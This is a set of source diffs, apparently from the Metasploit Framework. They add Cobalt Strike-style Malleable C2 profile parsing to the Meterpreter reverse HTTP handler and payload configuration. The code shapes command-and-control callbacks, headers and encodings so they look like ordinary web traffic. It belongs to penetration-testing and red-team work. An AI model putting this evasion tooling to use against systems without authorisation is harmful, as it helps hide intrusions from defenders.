Compare commits
36 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| ca7ba0a20d | |||
| 166ee2a23d | |||
| a14b98f7a6 | |||
| 8df4ff7748 | |||
| fe77ec9e24 | |||
| 2f7ed8a5a9 | |||
| 2e64231c93 | |||
| 2a6ebeae47 | |||
| e2614898e6 | |||
| 5a28827de4 | |||
| f7b97ba441 | |||
| dfd2160eef | |||
| 56d6498b41 | |||
| 7fc34485cd | |||
| b2eb7f52cc | |||
| 8c4f7fa7ad | |||
| 2c4eaff583 | |||
| ba5e097b6f | |||
| f93d308b6c | |||
| 1abbb7071f | |||
| f82fe8ee0d | |||
| 6496e7f012 | |||
| bbdf45a948 | |||
| fa5881eb18 | |||
| 76954a63e9 | |||
| 5def53e34c | |||
| c571e7dc1b | |||
| d589da9531 | |||
| 42b027d829 | |||
| 71d943d835 | |||
| 300d16e7cb | |||
| 2d7f8b48a1 | |||
| f2d3120772 | |||
| fe7705dea8 | |||
| 3ccd8e5b14 | |||
| 5025992eaf |
@@ -70,8 +70,7 @@ module ReverseHttp
|
||||
OptString.new('HttpUserAgent',
|
||||
'The user-agent that the payload should use for communication',
|
||||
default: Rex::UserAgent.random,
|
||||
aliases: ['MeterpreterUserAgent'],
|
||||
max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1
|
||||
aliases: ['MeterpreterUserAgent']
|
||||
),
|
||||
OptString.new('HttpServerName',
|
||||
'The server header that the handler will send in response to requests',
|
||||
@@ -180,28 +179,50 @@ module ReverseHttp
|
||||
(ssl?) ? 'https' : 'http'
|
||||
end
|
||||
|
||||
def construct_luri(base_uri)
|
||||
return nil unless base_uri
|
||||
|
||||
u = base_uri.dup
|
||||
|
||||
while u[-1] == '/'
|
||||
u.chop!
|
||||
end
|
||||
|
||||
u
|
||||
end
|
||||
|
||||
# The local URI for the handler.
|
||||
#
|
||||
# @return [String] Representation of the URI to listen on.
|
||||
def luri
|
||||
l = datastore['LURI'] || ""
|
||||
construct_luri(datastore['LURI'] || '')
|
||||
end
|
||||
|
||||
if l && l.length > 0
|
||||
# strip trailing slashes
|
||||
while l[-1, 1] == '/'
|
||||
l = l[0...-1]
|
||||
end
|
||||
|
||||
# make sure the luri has the prefix
|
||||
if l[0, 1] != '/'
|
||||
l = "/#{l}"
|
||||
end
|
||||
def all_uris
|
||||
all = ["#{luri}/"]
|
||||
|
||||
if self.c2_profile
|
||||
uris = self.c2_profile.uris.map {|u| construct_luri(u)}
|
||||
all.push(*uris)
|
||||
end
|
||||
|
||||
l.dup
|
||||
all.uniq
|
||||
end
|
||||
|
||||
def c2_profile
|
||||
# Only use a C2 profile if the payload explicitly registered the option.
|
||||
# This prevents staged payloads from inheriting a stale MALLEABLEC2
|
||||
# value from a prior stageless payload configuration.
|
||||
return nil unless self.options.include?('MALLEABLEC2')
|
||||
|
||||
profile_path = datastore['MALLEABLEC2'] || ''
|
||||
return nil if profile_path.empty?
|
||||
|
||||
parser = Msf::Payload::MalleableC2::Parser.new
|
||||
parser.parse(profile_path)
|
||||
end
|
||||
|
||||
|
||||
# Create an HTTP listener
|
||||
#
|
||||
# @return [void]
|
||||
@@ -239,11 +260,15 @@ module ReverseHttp
|
||||
self.service.server_name = datastore['HttpServerName']
|
||||
|
||||
# Add the new resource
|
||||
service.add_resource((luri + "/").gsub("//", "/"),
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request(cli, req)
|
||||
},
|
||||
'VirtualDirectory' => true)
|
||||
all_uris.each {|u|
|
||||
#r = (u + "/").gsub("//", "/")
|
||||
r = u.gsub("//", "/")
|
||||
service.add_resource(r,
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request(cli, req)
|
||||
},
|
||||
'VirtualDirectory' => true)
|
||||
}
|
||||
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
|
||||
lookup_proxy_settings
|
||||
@@ -253,13 +278,47 @@ module ReverseHttp
|
||||
end
|
||||
end
|
||||
|
||||
def find_resource_id(cli, request)
|
||||
if request.method == 'POST'
|
||||
directive = self.c2_profile&.http_post&.client&.id&.parameter
|
||||
cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0
|
||||
unless cid
|
||||
directive = self.c2_profile&.http_post&.client&.id&.header
|
||||
cid = request.headers[directive[0].args[0]] if directive && directive.length > 0
|
||||
end
|
||||
else
|
||||
directive = self.c2_profile&.http_get&.client&.metadata&.parameter
|
||||
cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0
|
||||
unless cid
|
||||
directive = self.c2_profile&.http_get&.client&.metadata&.header
|
||||
cid = request.headers[directive[0].args[0]] if directive && directive.length > 0
|
||||
end
|
||||
end
|
||||
|
||||
request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last
|
||||
end
|
||||
|
||||
def add_response_headers(req, resp)
|
||||
if req.method == 'GET'
|
||||
headers = self.c2_profile&.http_get&.server&.header || []
|
||||
headers.each {|h| resp[h.args[0]] = h.args[1]}
|
||||
elsif req.method == 'POST'
|
||||
headers = self.c2_profile&.http_post&.server&.header || []
|
||||
headers.each {|h| resp[h.args[0]] = h.args[1]}
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Removes the / handler, possibly stopping the service if no sessions are
|
||||
# active on sub-urls.
|
||||
#
|
||||
def stop_handler
|
||||
if self.service
|
||||
self.service.remove_resource((luri + "/").gsub("//", "/"))
|
||||
all_uris.each {|u|
|
||||
#r = (u + "/").gsub("//", "/")
|
||||
r = u.gsub("//", "/")
|
||||
self.service.remove_resource(r)
|
||||
}
|
||||
self.service.deref
|
||||
self.service = nil
|
||||
end
|
||||
@@ -314,23 +373,27 @@ protected
|
||||
def on_request(cli, req)
|
||||
Thread.current[:cli] = cli
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
info = process_uri_resource(req.relative_resource)
|
||||
uuid = info[:uuid]
|
||||
|
||||
req.conn_id = find_resource_id(cli, req) unless req.conn_id
|
||||
|
||||
if req.conn_id
|
||||
info = process_uri_resource(req.conn_id)
|
||||
uuid = info[:uuid]
|
||||
conn_id = req.conn_id
|
||||
end
|
||||
|
||||
if uuid
|
||||
# Configure the UUID architecture and payload if necessary
|
||||
uuid.arch ||= self.arch
|
||||
uuid.platform ||= self.platform
|
||||
|
||||
conn_id = luri
|
||||
request_summary = "#{luri} with UA '#{req.headers['User-Agent']}'"
|
||||
|
||||
if info[:mode] && info[:mode] != :connect
|
||||
conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||
else
|
||||
conn_id << req.relative_resource
|
||||
conn_id = conn_id.chomp('/')
|
||||
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||
end
|
||||
|
||||
request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"
|
||||
conn_id.chomp!('/')
|
||||
|
||||
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
|
||||
if framework.db.active
|
||||
@@ -368,16 +431,17 @@ protected
|
||||
# Process the requested resource.
|
||||
case info[:mode]
|
||||
when :init_connect
|
||||
print_status("Redirecting stageless connection from #{request_summary}")
|
||||
print_status("Redirecting stageless connection from #{request_summary} to #{conn_id}")
|
||||
|
||||
# Handle the case where stageless payloads call in on the same URI when they
|
||||
# first connect. From there, we tell them to callback on a connect URI that
|
||||
# was generated on the fly. This means we form a new session for each.
|
||||
|
||||
# Hurl a TLV back at the caller, and ignore the response
|
||||
pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL)
|
||||
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
|
||||
pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID)
|
||||
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id.gsub(/\//, ''))
|
||||
resp.body = pkt.to_r
|
||||
resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile
|
||||
|
||||
when :init_python, :init_native, :init_java, :connect
|
||||
# TODO: at some point we may normalise these three cases into just :init
|
||||
@@ -386,6 +450,7 @@ protected
|
||||
print_status("Attaching orphaned/stageless session...")
|
||||
else
|
||||
begin
|
||||
# TODO: do we need to handle C2 profiles here?
|
||||
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
|
||||
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
|
||||
# remove this when we make http payloads prepend stage sizes by default
|
||||
@@ -406,7 +471,7 @@ protected
|
||||
end
|
||||
end
|
||||
|
||||
create_session(cli, {
|
||||
session_opts = {
|
||||
:passive_dispatcher => self.service,
|
||||
:dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher],
|
||||
:conn_id => conn_id,
|
||||
@@ -416,9 +481,12 @@ protected
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
:payload_uuid => uuid,
|
||||
:c2_profile => self.c2_profile,
|
||||
:debug_build => datastore['MeterpreterDebugBuild'] || false,
|
||||
}
|
||||
|
||||
create_session(cli, session_opts)
|
||||
else
|
||||
unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode])
|
||||
print_status("Unknown request to #{request_summary}")
|
||||
|
||||
@@ -85,11 +85,9 @@ module Msf
|
||||
),
|
||||
OptString.new('HttpProxyUser', 'An optional proxy server username',
|
||||
aliases: ['PayloadProxyUser'],
|
||||
max_length: Rex::Payloads::Meterpreter::Config::PROXY_USER_SIZE - 1
|
||||
),
|
||||
OptString.new('HttpProxyPass', 'An optional proxy server password',
|
||||
aliases: ['PayloadProxyPass'],
|
||||
max_length: Rex::Payloads::Meterpreter::Config::PROXY_PASS_SIZE - 1
|
||||
),
|
||||
OptEnum.new('HttpProxyType', 'The type of HTTP proxy',
|
||||
enums: ['HTTP', 'SOCKS'],
|
||||
|
||||
@@ -0,0 +1,500 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
##
|
||||
# This module contains helper functions for parsing and loading malleable
|
||||
# C2 profiles into ruby objects.
|
||||
#
|
||||
# See https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm
|
||||
##
|
||||
|
||||
require 'strscan'
|
||||
require 'rex/post/meterpreter/packet'
|
||||
|
||||
module Msf::Payload::MalleableC2
|
||||
|
||||
MET = Rex::Post::Meterpreter
|
||||
MC2 = Msf::Payload::MalleableC2
|
||||
|
||||
# Handle escape sequences in the strings provided by the c2 profile
|
||||
def self.from_c2_string_value(s)
|
||||
# Support substitution of a subset of escape characters:
|
||||
# \r, \t, \n, \\, \x.., \"
|
||||
# Not supporting \u at this point.
|
||||
# We do in a single regex and parse each as we go, as this avoids the
|
||||
# potential for double-encoding.
|
||||
s.gsub(/\\(x(..)|r|n|t|"|\\)/) {|b|
|
||||
case b[1]
|
||||
when 'x'
|
||||
[b[2, 2].to_i(16)].pack('C')
|
||||
when 'r'
|
||||
"\r"
|
||||
when 't'
|
||||
"\t"
|
||||
when 'n'
|
||||
"\n"
|
||||
when '"'
|
||||
'"'
|
||||
when '\\'
|
||||
"\\"
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
class Token
|
||||
attr_reader :type, :value
|
||||
|
||||
def initialize(type, value)
|
||||
@type = type
|
||||
@value = value
|
||||
end
|
||||
end
|
||||
|
||||
class Lexer
|
||||
|
||||
attr_reader :tokens
|
||||
|
||||
BLOCK_KEYWORDS = %w[
|
||||
client
|
||||
http-get
|
||||
http-post
|
||||
http-stager
|
||||
https-certificate
|
||||
id
|
||||
metadata
|
||||
output
|
||||
server
|
||||
stage
|
||||
transform-x64
|
||||
transform-x86
|
||||
]
|
||||
|
||||
OTHER_KEYWORDS = %w[
|
||||
add
|
||||
append
|
||||
base64
|
||||
base64url
|
||||
dns
|
||||
encode_hex
|
||||
header
|
||||
hostport
|
||||
mask
|
||||
netbios
|
||||
netbiosu
|
||||
parameter
|
||||
prepend
|
||||
print
|
||||
remove
|
||||
set
|
||||
string
|
||||
stringw
|
||||
strrep
|
||||
transform
|
||||
unset
|
||||
uri
|
||||
uri-append
|
||||
uri-query
|
||||
xor
|
||||
]
|
||||
|
||||
def initialize(file)
|
||||
@tokens = []
|
||||
tokenize(File.binread(file))
|
||||
end
|
||||
|
||||
def is_block_keyword?(word)
|
||||
BLOCK_KEYWORDS.include?(word)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def tokenize(text)
|
||||
scanner = StringScanner.new(text)
|
||||
|
||||
until scanner.eos?
|
||||
if scanner.scan(/\s+/)
|
||||
# blank line
|
||||
next
|
||||
elsif scanner.scan(/^\s*#.*$/)
|
||||
# comment
|
||||
next
|
||||
elsif scanner.scan(/\"(\\.|[^"])*\"/)
|
||||
@tokens << Token.new(:string, scanner.matched[1..-2])
|
||||
elsif scanner.scan(/[a-zA-Z0-9_\-\.\/]+/)
|
||||
word = scanner.matched
|
||||
type = BLOCK_KEYWORDS.union(OTHER_KEYWORDS).include?(word) ? :keyword : :identifier
|
||||
@tokens << Token.new(type, word)
|
||||
elsif scanner.scan(/[{};]/)
|
||||
@tokens << Token.new(:symbol, scanner.matched)
|
||||
else
|
||||
preceding_lines = scanner.string[0..scanner.pos].split("\n")
|
||||
row = preceding_lines.length
|
||||
col = preceding_lines.last&.size || 1
|
||||
raise "Unexpected token near #{row}:#{col}: #{scanner.peek(20).split("\n").first}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class ParsedProfile
|
||||
attr_accessor :sets, :sections
|
||||
|
||||
def initialize
|
||||
@sets = []
|
||||
@sections = []
|
||||
end
|
||||
|
||||
def method_missing(name, *args)
|
||||
name = name.to_s.gsub('_', '-')
|
||||
get_section(name) || get_set(name)
|
||||
end
|
||||
|
||||
def get_set(key)
|
||||
val = @sets.find {|s| s.key == key.downcase}&.value
|
||||
if block_given? && !val.nil?
|
||||
yield(val)
|
||||
end
|
||||
val
|
||||
end
|
||||
|
||||
def get_section(name)
|
||||
sec = @sections.find {|s| s.name == name.downcase}
|
||||
if block_given? && !sec.nil?
|
||||
yield(sec)
|
||||
end
|
||||
sec
|
||||
end
|
||||
|
||||
def uris
|
||||
base_uri = self.get_set('uri')
|
||||
get_uri = nil
|
||||
post_uri = nil
|
||||
|
||||
self.get_section('http-get') {|http_get|
|
||||
get_uri = http_get.get_set('uri')
|
||||
}
|
||||
self.get_section('http-post') {|http_post|
|
||||
post_uri = http_post.get_set('uri')
|
||||
}
|
||||
|
||||
[base_uri, get_uri, post_uri].compact
|
||||
end
|
||||
|
||||
def wrap_outbound_get(raw_bytes)
|
||||
prepends = self.http_get&.server&.output&.prepend || []
|
||||
prefix = prepends.map {|p| p.args[0]}.join('')
|
||||
appends = self.http_get&.server&.output&.append || []
|
||||
suffix = appends.map {|p| p.args[0]}.join('')
|
||||
|
||||
# do any encoding necessary
|
||||
if raw_bytes.length > 0
|
||||
if self.http_get&.server&.output&.has_directive('base64')
|
||||
raw_bytes = Rex::Text.encode_base64(raw_bytes)
|
||||
elsif self.http_get&.server&.output&.has_directive('base64url')
|
||||
raw_bytes = Rex::Text.encode_base64url(raw_bytes)
|
||||
end
|
||||
end
|
||||
|
||||
result = prefix + raw_bytes + suffix
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
def unwrap_inbound_post(raw_bytes)
|
||||
prepends = self.http_post&.client&.output&.prepend || []
|
||||
prefix = prepends.map {|p| p.args[0]}.join('')
|
||||
if !prefix.empty? && raw_bytes.start_with?(prefix)
|
||||
raw_bytes = raw_bytes[prefix.length, raw_bytes.length]
|
||||
end
|
||||
|
||||
appends = self.http_post&.client&.output&.append || []
|
||||
suffix = appends.map {|p| p.args[0]}.join('')
|
||||
if !suffix.empty? && raw_bytes.end_with?(suffix)
|
||||
raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length]
|
||||
end
|
||||
|
||||
# do any decoding necessary
|
||||
if raw_bytes.length > 0
|
||||
if self.http_post&.client&.output&.has_directive('base64')
|
||||
raw_bytes = Rex::Text.decode_base64(raw_bytes)
|
||||
elsif self.http_post&.client&.output&.has_directive('base64url')
|
||||
raw_bytes = Rex::Text.decode_base64url(raw_bytes)
|
||||
end
|
||||
end
|
||||
raw_bytes
|
||||
end
|
||||
|
||||
def to_tlv
|
||||
tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2)
|
||||
|
||||
self.get_set('useragent') {|ua| tlv.add_tlv(MET::TLV_TYPE_C2_UA, ua)}
|
||||
c2_uri = self.get_set('uri')
|
||||
|
||||
self.get_section('http-get') {|http_get|
|
||||
tlv.tlvs << build_get_tlv(http_get, c2_uri)
|
||||
}
|
||||
|
||||
self.get_section('http-post') {|http_post|
|
||||
tlv.tlvs << build_post_tlv(http_post, c2_uri)
|
||||
}
|
||||
|
||||
tlv
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def build_get_tlv(http_get, c2_uri)
|
||||
get_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_GET)
|
||||
get_uri = http_get.get_set('uri') || c2_uri
|
||||
http_get.get_section('client') {|client|
|
||||
self.add_http_tlv(get_uri, client, get_tlv)
|
||||
add_skip_tlvs(get_tlv, self.http_get&.server&.output)
|
||||
|
||||
client.get_section('metadata') {|meta|
|
||||
add_encoding_tlv(get_tlv, meta)
|
||||
add_uuid_tlvs(get_tlv, meta)
|
||||
}
|
||||
}
|
||||
get_tlv
|
||||
end
|
||||
|
||||
def build_post_tlv(http_post, c2_uri)
|
||||
post_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_POST)
|
||||
post_uri = http_post.get_set('uri') || c2_uri
|
||||
http_post.get_section('client') {|client|
|
||||
self.add_http_tlv(post_uri, client, post_tlv)
|
||||
add_skip_tlvs(post_tlv, self.http_post&.server&.output)
|
||||
|
||||
client.get_section('output') {|client_output|
|
||||
add_encoding_tlv(post_tlv, client_output)
|
||||
|
||||
prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("")
|
||||
post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty?
|
||||
append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("")
|
||||
post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty?
|
||||
}
|
||||
|
||||
client.get_section('id') {|client_id|
|
||||
add_uuid_tlvs(post_tlv, client_id)
|
||||
}
|
||||
}
|
||||
post_tlv
|
||||
end
|
||||
|
||||
def add_skip_tlvs(group_tlv, server_output)
|
||||
prepends = server_output&.prepend || []
|
||||
prefix_len = prepends.map {|p| p.args[0].length}.sum
|
||||
group_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0
|
||||
|
||||
appends = server_output&.append || []
|
||||
suffix_len = appends.map {|s| s.args[0].length}.sum
|
||||
group_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0
|
||||
end
|
||||
|
||||
def add_encoding_tlv(group_tlv, section)
|
||||
enc_flags = MET::C2_ENCODING_NONE
|
||||
enc_flags = MET::C2_ENCODING_B64URL if section.has_directive('base64url')
|
||||
enc_flags = MET::C2_ENCODING_B64 if section.has_directive('base64')
|
||||
group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE
|
||||
end
|
||||
|
||||
def add_uuid_tlvs(group_tlv, section)
|
||||
group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, section.get_directive('parameter')[0].args[0]) if section.has_directive('parameter')
|
||||
group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, section.get_directive('header')[0].args[0]) if section.has_directive('header')
|
||||
end
|
||||
|
||||
def add_http_tlv(base_uri, section, group_tlv)
|
||||
section.get_set('useragent') {|v| group_tlv.add_tlv(MET::TLV_TYPE_C2_UA, v)}
|
||||
|
||||
self.add_uri(base_uri, section, group_tlv)
|
||||
self.add_header(section, group_tlv)
|
||||
end
|
||||
|
||||
def add_header(section, group_tlv)
|
||||
headers = section.get_directive('header').map {|dir| "#{dir.args[0]}: #{dir.args[1]}"}.join("\r\n")
|
||||
group_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, headers) unless headers.empty?
|
||||
headers
|
||||
end
|
||||
|
||||
def add_uri(base_uri, section, group_tlv)
|
||||
uri = (base_uri || "").dup
|
||||
query_string = section.get_directive('parameter').map {|dir| "#{dir.args[0]}=#{URI.encode_uri_component(dir.args[1])}" }.join("&")
|
||||
unless query_string.empty?
|
||||
uri << "?"
|
||||
uri << query_string
|
||||
end
|
||||
group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) unless uri.empty?
|
||||
uri
|
||||
end
|
||||
end
|
||||
|
||||
class ParsedSet
|
||||
attr_accessor :key, :value
|
||||
def initialize(key, value)
|
||||
@key = key.downcase
|
||||
@value = MC2.from_c2_string_value(value)
|
||||
end
|
||||
end
|
||||
|
||||
class ParsedSection
|
||||
attr_accessor :name, :entries, :sections
|
||||
def initialize(name)
|
||||
@name = name.downcase
|
||||
@entries = []
|
||||
@sections = []
|
||||
end
|
||||
|
||||
def method_missing(name, *args)
|
||||
name = name.to_s.gsub('_', '-')
|
||||
get_section(name) || get_directive(name) || get_set(name)
|
||||
end
|
||||
|
||||
def get_set(key)
|
||||
val = @entries.find {|s| s.kind_of?(ParsedSet) && s.key == key.downcase}&.value
|
||||
if block_given? && !val.nil?
|
||||
yield(val)
|
||||
end
|
||||
val
|
||||
end
|
||||
|
||||
def get_directive(type)
|
||||
# there can be multiple instances of the same directive type so we have
|
||||
# to return an array instead of a single instance
|
||||
@entries.find_all {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase}
|
||||
end
|
||||
|
||||
def has_directive(type)
|
||||
@entries.any? {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase}
|
||||
end
|
||||
|
||||
def get_section(name)
|
||||
sec = @sections.find {|s| s.name == name.downcase}
|
||||
if block_given? && !sec.nil?
|
||||
yield(sec)
|
||||
end
|
||||
sec
|
||||
end
|
||||
end
|
||||
|
||||
class ParsedDirective
|
||||
attr_accessor :type, :args
|
||||
def initialize(type, args)
|
||||
@type = type.downcase
|
||||
@args = args.map {|a| MC2.from_c2_string_value(a)}
|
||||
end
|
||||
end
|
||||
|
||||
class Parser
|
||||
attr_reader :lexer
|
||||
|
||||
def initialize
|
||||
@lexer = nil
|
||||
end
|
||||
|
||||
def parse(file)
|
||||
@lexer = Lexer.new(file)
|
||||
@index = 0
|
||||
profile = ParsedProfile.new
|
||||
|
||||
while current_token
|
||||
if match_keyword('set')
|
||||
profile.sets << parse_set
|
||||
elsif current_token.type == :keyword && @lexer.is_block_keyword?(current_token.value)
|
||||
profile.sections << parse_section
|
||||
else
|
||||
raise "Unexpected token at top level: #{current_token.type}=#{current_token.value}"
|
||||
end
|
||||
end
|
||||
|
||||
#@lexer = nil
|
||||
profile
|
||||
end
|
||||
|
||||
def parse_set
|
||||
expect_keyword('set')
|
||||
key = expect([:identifier, :keyword]).value
|
||||
value = expect(:string).value
|
||||
expect_symbol(';')
|
||||
ParsedSet.new(key, value)
|
||||
end
|
||||
|
||||
def parse_section
|
||||
name = expect(:keyword).value
|
||||
expect_symbol('{')
|
||||
section = ParsedSection.new(name)
|
||||
|
||||
while !match_symbol('}') && current_token
|
||||
if match_keyword('set')
|
||||
section.entries << parse_set
|
||||
elsif current_token.type == :keyword
|
||||
if @lexer.is_block_keyword?(current_token.value)
|
||||
section.sections << parse_section
|
||||
else
|
||||
section.entries << parse_directive
|
||||
end
|
||||
else
|
||||
raise "Unexpected content in block #{name}: #{current_token.value}"
|
||||
end
|
||||
end
|
||||
|
||||
expect_symbol('}')
|
||||
section
|
||||
end
|
||||
|
||||
def parse_directive
|
||||
type = expect(:keyword).value
|
||||
args = []
|
||||
while current_token && !match_symbol(';')
|
||||
if [:string, :identifier, :keyword].include?(current_token.type)
|
||||
args << current_token.value
|
||||
next_token
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
expect_symbol(';')
|
||||
ParsedDirective.new(type, args)
|
||||
end
|
||||
|
||||
def current_token
|
||||
@lexer.tokens[@index]
|
||||
end
|
||||
|
||||
def next_token
|
||||
@index += 1
|
||||
current_token
|
||||
end
|
||||
|
||||
def expect(types)
|
||||
token = current_token
|
||||
types = [types] unless types.kind_of?(Array)
|
||||
raise "Expected #{types.inspect}, got #{token&.type}=#{token&.value}" unless token && types.include?(token.type)
|
||||
next_token
|
||||
token
|
||||
end
|
||||
|
||||
def expect_keyword(word)
|
||||
token = current_token
|
||||
raise "Expected keyword '#{word}', got #{token&.value}" unless token && token.type == :keyword && token.value == word
|
||||
next_token
|
||||
token
|
||||
end
|
||||
|
||||
def expect_symbol(symbol)
|
||||
token = current_token
|
||||
raise "Expected symbol '#{symbol}', got #{token&.value}" unless token && token.type == :symbol && token.value == symbol
|
||||
next_token
|
||||
token
|
||||
end
|
||||
|
||||
def match_keyword(word)
|
||||
token = current_token
|
||||
token && token.type == :keyword && token.value == word
|
||||
end
|
||||
|
||||
def match_symbol(symbol)
|
||||
token = current_token
|
||||
token && token.type == :symbol && token.value == symbol
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -96,6 +96,7 @@ module Msf::Payload::TransportConfig
|
||||
host: ds['HttpHostHeader'],
|
||||
cookie: ds['HttpCookie'],
|
||||
referer: ds['HttpReferer'],
|
||||
c2_profile: opts[:c2_profile],
|
||||
custom_headers: get_custom_headers(ds)
|
||||
}.merge(timeout_config(opts))
|
||||
end
|
||||
|
||||
@@ -1,18 +1,16 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/socket/x509_certificate'
|
||||
require 'rex/post/meterpreter/extension_mapper'
|
||||
require 'rex/post/meterpreter/packet'
|
||||
require 'msf/core/payload/malleable_c2'
|
||||
require 'securerandom'
|
||||
|
||||
class Rex::Payloads::Meterpreter::Config
|
||||
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
URL_SIZE = 512
|
||||
UA_SIZE = 256
|
||||
PROXY_HOST_SIZE = 128
|
||||
PROXY_USER_SIZE = 64
|
||||
PROXY_PASS_SIZE = 64
|
||||
CERT_HASH_SIZE = 20
|
||||
LOG_PATH_SIZE = 260 # https://docs.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=cmd
|
||||
MET = Rex::Post::Meterpreter
|
||||
|
||||
def initialize(opts={})
|
||||
@opts = opts
|
||||
@@ -49,7 +47,7 @@ private
|
||||
item.to_s.ljust(size, "\x00")
|
||||
end
|
||||
|
||||
def session_block(opts)
|
||||
def add_session_tlv(tlv, opts)
|
||||
uuid = opts[:uuid].to_raw
|
||||
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
|
||||
|
||||
@@ -60,23 +58,18 @@ private
|
||||
else
|
||||
session_guid = [SecureRandom.uuid.gsub('-', '')].pack('H*')
|
||||
end
|
||||
session_data = [
|
||||
0, # comms socket, patched in by the stager
|
||||
exit_func, # exit function identifier
|
||||
opts[:expiration], # Session expiry
|
||||
uuid, # the UUID
|
||||
session_guid, # the Session GUID
|
||||
]
|
||||
pack_string = 'QVVA*A*'
|
||||
if opts[:debug_build]
|
||||
session_data << to_str(opts[:log_path] || '', LOG_PATH_SIZE) # Path to log file on remote target
|
||||
pack_string << 'A*'
|
||||
end
|
||||
|
||||
session_data.pack(pack_string)
|
||||
tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func)
|
||||
tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration])
|
||||
tlv.add_tlv(MET::TLV_TYPE_UUID, uuid)
|
||||
tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid)
|
||||
|
||||
if opts[:debug_build] && opts[:log_path]
|
||||
tlv.add_tlv(MET::TLV_TYPE_DEBUG_LOG, opts[:log_path])
|
||||
end
|
||||
end
|
||||
|
||||
def transport_block(opts)
|
||||
def add_c2_tlv(tlv, opts)
|
||||
# Build the URL from the given parameters, and pad it out to the
|
||||
# correct size
|
||||
lhost = opts[:lhost]
|
||||
@@ -84,112 +77,88 @@ private
|
||||
lhost = "[#{lhost}]"
|
||||
end
|
||||
|
||||
url = "#{opts[:scheme]}://#{lhost}"
|
||||
url << ":#{opts[:lport]}" if opts[:lport]
|
||||
url << "#{opts[:uri]}/" if opts[:uri]
|
||||
unless (opts[:c2_profile] || '').empty?
|
||||
parser = Msf::Payload::MalleableC2::Parser.new
|
||||
profile = parser.parse(opts[:c2_profile])
|
||||
c2_tlv = profile.to_tlv
|
||||
else
|
||||
c2_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2)
|
||||
|
||||
c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty?
|
||||
end
|
||||
|
||||
c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total])
|
||||
c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait])
|
||||
|
||||
url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}"
|
||||
